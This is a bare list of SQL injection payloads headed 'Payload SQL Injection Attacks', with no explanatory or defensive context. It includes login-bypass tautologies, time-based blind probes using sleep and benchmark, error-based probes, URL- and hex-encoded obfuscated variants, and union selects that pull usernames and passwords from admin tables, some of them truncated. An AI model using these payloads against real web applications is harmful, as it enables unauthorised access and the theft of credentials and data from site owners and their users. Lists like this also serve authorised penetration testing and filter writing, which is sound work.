Payload SQL Injection Attacks admin' or 1=1--; ' or 'abcdzzz'='abcdzzz' ' or /*SQL comment*/ 160>150 1150' and char(124)+user+char(124)=0 and '%'=' DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006) dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a. dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.n 2 and 1>1 3'&&BeNChMaRK(2999999,mD5(NOW()))&&'1 3' AnD sLeep(3) ANd '1 /**/cOnVeRt(int,(char(33)+char(126)+char(33))+char(68)+char(87)+char(81)+char(65)+char(70)+char(80)+char(79)+char) www.xxx.com' or (1,2)=(select*from(select name_const(CHAR(111,108,111,108,111)))) 3[[#0]]'||SLeeP(3)&&'1 \' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__ad ' union select 0,username+CHR(124)+password,2,3,4,5,6,7,8,9 from admin xxxx%' AND 3067 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113))) AND '%'=' xxxx AND 6686=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(107)||CHR(113)))--- 2767%20AND%201831%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28106%29%2BCHAR%2 1' AND 4923=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(118)||CHR(98)||CHR(113)))) union select 1,0x272f2a,3,4,5,6,7,68354b54732f506b566a6332687663455270636963702729293b2f2f7 999999.9+%2f**%2funion%2f**%2fall+%2f**%2fselect+%2f**%2fcast(0x393133353134353632312e39+as+char)-- /**/or/**/version()/**/like/**/'a%'